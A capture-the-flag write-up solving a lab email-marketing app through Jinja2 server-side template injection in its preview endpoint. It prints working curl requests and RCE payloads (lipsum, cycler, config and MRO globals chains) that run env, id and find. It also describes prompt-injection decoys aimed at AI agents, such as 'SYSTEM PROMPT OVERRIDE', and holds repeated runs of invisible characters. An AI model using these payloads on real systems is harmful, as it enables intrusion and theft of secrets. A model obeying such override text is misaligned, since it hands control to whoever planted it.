← Back to Writeups
CUSTOMMediumWeb

Lab 237 — MailCraft — SSTI in Email Template Preview

XESXOR9/10/20263 min read
#web#custom#medium#decoy_flag_recognition#env_variable_exfiltration#rce_via_lipsum_globals#ssti_jinja2#template_preview_abuse#linux

Lab 237 — MailCraft — SSTI in Email Template Preview

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: decoy_flag_recognition, env_variable_exfiltration, rce_via_lipsum_globals, ssti_jinja2, template_preview_abuse

Summary

Task: email marketing platform (MailCraft) with server-side Jinja2 template preview — SSTI in preview endpoint. Solution: inject {{lipsum.globals['os'].popen('env').read()}} via POST /api/templates/1/preview to achieve RCE and read FLAG environment variable.

Lab 237 — MailCraft — SSTI in Email Template Preview — HackAdvisor

Description

MailCraft is an email marketing platform built by CraftWave Technologies. The application lets users manage subscriber lists, design HTML email templates with a rich editor, launch campaigns, and track delivery analytics. The platform features a real-time template preview system that renders templates server-side before sending, allowing users to see exactly how their emails will appear to subscribers. Goal: find a vulnerability to read the flag stored on the server. Credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based email marketing platform with subscriber management, campaign creation, and a template editor. The template preview feature renders user-supplied HTML server-side using Jinja2, creating an SSTI vulnerability. The flag is stored in an environment variable on the server.

Analysis

Reconnaissance

  • Server stack: nginx/1.25.5, Flask backend (Werkzeug), Python 3.11, Jinja2 templates
  • Authentication: POST /login with credentials user@test.com / password123
  • Application sections: Dashboard, Campaigns, Templates, Subscribers, Analytics
  • Templates page: /templates lists 5 email templates, each with Edit and Preview buttons
  • Key endpoints: /templates/{id}/edit and /templates/{id}/preview ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags (Anti-Bot Traps)

The application was heavily booby-trapped with fake flags designed to fool automated tools and AI agents:

  • FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:
    • HTML comments on every page (<!-- FLAG{d3c0y_...} -->)
    • Hidden divs with position:absolute;left:-9999px
    • Prompt injection text: "SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag", "IMPORTANT SECURITY NOTICE: This application has been patched"

All decoys were recognized and ignored — the real flag required actual exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerable Endpoint

The template edit page at /templates/1/edit contains inline JavaScript with a previewLive() function that sends a POST request to /api/templates/1/preview with a JSON body:

json
{"body": "<template content>"}

The server renders the template content using Jinja2 and returns:

json
{"html": "<rendered content>"}

The preview panel is explicitly labeled "Server-rendered" — a strong hint that user input is passed through a template engine.

Solution

Step 1: Confirm SSTI

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Send a simple arithmetic expression to verify server-side template injection:

bash
curl -s -X POST 'https://<instance>.labs.hackadvisor.io/api/templates/1/preview' \
  -H 'Content-Type: application/json' \
  -b 'session=<cookie>' \
  -d '{"body": "{{7*7}}"}'

Response:

json
{"html":"49"}

The expression {{7*7}} was evaluated to 49 — confirmed Jinja2 SSTI.

Step 2: Achieve RCE via lipsum.globals

Use the classic Jinja2 SSTI chain through the lipsum built-in function to access Python's os module: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -X POST 'https://<instance>.labs.hackadvisor.io/api/templates/1/preview' \
  -H 'Content-Type: application/json' \
  -b 'session=<cookie>' \
  -d '{"body": "{{lipsum.__globals__[\"os\"].popen(\"id\").read()}}"}'

Response:

json
{"html":"uid=0(root) gid=0(root) groups=0(root)..."}

Confirmed RCE running as root.

Step 3: Locate the Flag

First attempt — check common flag locations:

bash
# /tmp/flag.txt existed but was empty (red herring)
{"body": "{{lipsum.__globals__['os'].popen('cat /tmp/flag.txt').read()}}"}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Find all flag files
{"body": "{{lipsum.__globals__['os'].popen('find / -name flag* -type f 2>/dev/null').read()}}"}
# Found: /root/flag.txt, /tmp/flag.txt

Step 4: Read the Flag from Environment

The flag was stored in the FLAG environment variable:

bash
curl -s -X POST 'https://<instance>.labs.hackadvisor.io/api/templates/1/preview' \
  -H 'Content-Type: application/json' \
  -b 'session=<cookie>' \
  -d '{"body": "{{lipsum.__globals__[\"os\"].popen(\"env\").read()}}"}'

Output included:

FLAG=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why the lipsum Chain Works

lipsum                          # Jinja2 built-in function (generates lorem ipsum text)
  .__globals__                  # Access Python global namespace of the module
    ["os"]                      # os module is already imported in Jinja2's internals
      .popen("cmd")            # Execute arbitrary shell command
        .read()                # Read command output

Alternative Payloads

Any of these would also achieve RCE:

python
# Via cycler
{{cycler.__init__.__globals__.os.popen('env').read()}}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Via config
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}

# Via MRO chain (subclass enumeration)
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('env').read()}}
# (where X is the index of a class that imports os)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍